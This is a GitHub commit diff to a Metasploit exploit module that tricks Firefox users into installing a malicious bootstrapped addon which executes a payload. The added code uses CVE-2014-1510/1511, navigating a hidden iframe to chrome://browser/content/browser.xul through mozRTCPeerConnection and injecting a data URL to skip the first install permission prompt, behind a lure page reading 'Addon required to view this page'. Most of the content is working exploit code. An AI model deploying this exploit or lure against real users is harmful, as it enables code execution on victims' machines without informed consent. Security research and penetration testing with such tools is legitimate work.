Skip to content

Commit e3dda2e

Browse files
committed
Land rapid7#3172 - CVE-2014-1510 to firefox_xpi_bootstrapped_addon
2 parents 5397fdb + ebcf972 commit e3dda2e

File tree

1 file changed

+43
-6
lines changed

1 file changed

+43
-6
lines changed

modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb

Lines changed: 43 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -28,13 +28,18 @@ def initialize( info = {} )
2828
be "bootstrapped". As the addon will execute the payload after
2929
each Firefox restart, an option can be given to automatically
3030
uninstall the addon once the payload has been executed.
31+
32+
On Firefox 22.0 - 27.0, CVE-2014-1510 allows us to skip the
33+
first half of the permissions prompt.
3134
},
3235
'License' => MSF_LICENSE,
3336
'Author' => [ 'mihi', 'joev' ],
3437
'References' =>
3538
[
3639
[ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ],
37-
[ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]
40+
[ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ],
41+
[ 'CVE', '2014-1510' ], # webidl chrome:// navigation to skip first half of prompt
42+
[ 'CVE', '2014-1511' ]
3843
],
3944
'DisclosureDate' => 'Jun 27 2007'
4045
))
@@ -67,10 +72,42 @@ def on_request_uri(cli, request)
6772
end
6873

6974
def generate_html
70-
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
71-
html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|
72-
html << %Q|<script>window.location.href="addon.xpi";</script>\n|
73-
html << %Q|</body></html>|
74-
return html
75+
%Q|
76+
<html><head><title>Loading, Please Wait...</title></head>
77+
<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>
78+
<div style='visibility:hidden;width:1px;height:1px;'>
79+
<iframe name='f'></iframe>
80+
</div>
81+
<script>
82+
function install() {
83+
window.location.href="addon.xpi";
84+
}
85+
#{web_idl_navigation}
86+
</script>
87+
</body>
88+
</html>
89+
|
90+
end
91+
92+
# In firefox 21 - 27, there is a vulnerability that allows navigation to a chrome:// URL.
93+
# From there you can load the browser XUL, and inject a data URL into a nested frame.
94+
# If the data URL opens the .xpi URL, the first permission prompt gets skipped.
95+
def web_idl_navigation
96+
%Q|
97+
try {
98+
c = new mozRTCPeerConnection;
99+
c.createOffer(function(){},function(){window.rr=window.open('chrome://browser/content/browser.xul', 'f')});
100+
setTimeout(function(){
101+
try {
102+
frames[0].frames[1].location="data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+
103+
"{},function(){window.open('#{get_uri.chomp('/')}/addon.xpi', '_self');});<\\/script>";
104+
} catch(e) {
105+
install();
106+
}
107+
},600);
108+
} catch(e) {
109+
install();
110+
}
111+
|
75112
end
76113
end

0 commit comments

Comments
 (0)